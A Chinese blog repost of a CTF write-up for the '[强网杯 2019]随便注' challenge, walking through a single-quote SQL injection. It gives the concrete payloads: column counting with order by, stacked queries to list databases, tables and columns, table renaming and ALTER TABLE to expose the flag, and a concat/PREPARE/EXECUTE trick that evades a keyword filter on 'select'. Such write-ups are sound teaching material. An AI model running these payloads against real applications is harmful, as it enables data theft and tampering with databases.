当前位置: 首页 > news >正文

[强网杯 2019]随便注1

打开题目

输入1

 输入1',页面报错,输入1' #页面正常

说明1为注入点且注入方式为字符型的单引号注入

判断列名

输入

1' order by 2 # 页面正常

1' order by 3 #页面报错

说明列名字段数为2

接下来我们尝试用联合注入的方式爆出数据显示位

输入1' union select 1,2 #

可以看到过滤了很多东西

return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

说明我们用不了联合注入,因为过滤了union

我们尝试堆叠注入来查看有多少个数据库

1';show databases; #

我们查看表名

1';show tables; #

可以看到当前数据库下有两个表

1'; show columns from `1919810931114514`;#

这里查询表名使用反单引号
注意:在windows系统下,反单引号(`)是数据库、表、索引、列和别名用的引用符

在这里使用 ` 而不是 ’ 的一些解释:

两者在linux下和windows下不同,linux下不区分,windows下区分。

单引号 ’ 或双引号主要用于 字符串的引用符号

反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)

有MYSQL保留字作为字段的,必须加上反引号来区分!!!

如果是数值,请不要使用引号。

可以看到有flag这个列

虽然我们已经得到了flag了,但是select被过滤了,而show命令又不能查看值。

这里看wp有一个其他思路

1.

让程序中已经存在的select语法帮我们进行查询,把words改名为其他,191这个表改名为words,然后再添加id字段,将flag字段改为data。

    先将 words 改为别的名字 比如 words2 或者其他
    然后将 1919810931114514 改为 words
    把属性名flag改为id,然后用1’ or 1=1;# 显示flag出来
    在这之前当然要先把words表改名为其他


payload:

1';rename table words to word2;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT '12';ALTER TABLE  words CHANGE flag data VARCHAR(100); #

"ALTER TABLE"用于更改表的结构,例如添加、删除或修改表的列,更改列的数据类型,添加或删除索引等。

VARCHAR(100)"是数据库表中列的数据类型和长度的定义。具体来说,"VARCHAR"表示这是一个可变长度字符串数据类型,而括号中的"100"表示该列可以存储的最大字符数为100

"int(10)":这表示这是一个整数数据类型。括号中的数字(10)通常用于指定显示的宽度,但在大多数数据库管理系统中,它只是用于显示目的,而不会影响实际存储或范围。这个整数列将存储整数值。

"DEFAULT '12'":这表示当插入一行时,如果没有为这个列提供值,将使用默认值'12'。这意味着如果没有明确指定值,新插入的行将自动在这个列中包含整数值12。

综合起来,"int(10) DEFAULT '12'"定义了一个整数列,它将存储整数值,并且如果没有提供值,则默认值为12。这意味着在插入新行时,如果没有显式提供这个列的值,它将自动设置为12。

然后我们用万能密码登录一下

1' or 1=1 #

得到flag

2.用concat拼接

1’;use supersqli;set @sql=concat('s','elect flag from 1919810931114514');PREPARE stmt1 FROM @sql;EXECUTE stmt1 #

 

http://www.lryc.cn/news/218917.html

相关文章:

  • Skywalking介绍
  • K8S知识点(四)
  • Android WMS——WMS窗口更新移除(十四)
  • Java程序设计2023-第三次上机练习
  • opencv复习(简短的一次印象记录)
  • pytorch-损失函数-分类和回归区别
  • 数字IC后端实现 |TSMC 12nm 与TSMC 28nm Metal Stack的区别
  • Spring Security OAuth 2.0 资源服务器— JWT
  • C++初阶(八)类和对象
  • Excel文档名称批量翻译的高效方法
  • python里面的浅拷贝和深拷贝
  • HJ76 尼科彻斯定理
  • AndroidAuto PCTS A118解决杂音问题
  • uniapp小程序砸金蛋抽奖
  • 数据结构(超详细讲解!!)第二十节 数组
  • 【Android】Android Framework系列---CarPower深度睡眠STR
  • 【漏洞复现】Fastjson_1.2.47_rce
  • 玩转AIGC:如何选择最佳的Prompt提示词?
  • ELK搭建以及使用教程(多pipiline)
  • 小程序如何设置用户同意服务协议并上传头像和昵称
  • 6.4 例程:使用互斥量
  • [算法日志]图论: 深度优先搜索(DFS)
  • 这道经典SQL面试问题你会吗?
  • 网络服务退出一个问题的解析
  • 第四次pta认证P测试
  • mysql:B+树/事务
  • python-在系统托盘显示CPU使用率和内存使用率
  • 构建mono-repo风格的脚手架库
  • 云安全—etcd攻击面
  • 类锁和实例对象锁你分清了吗?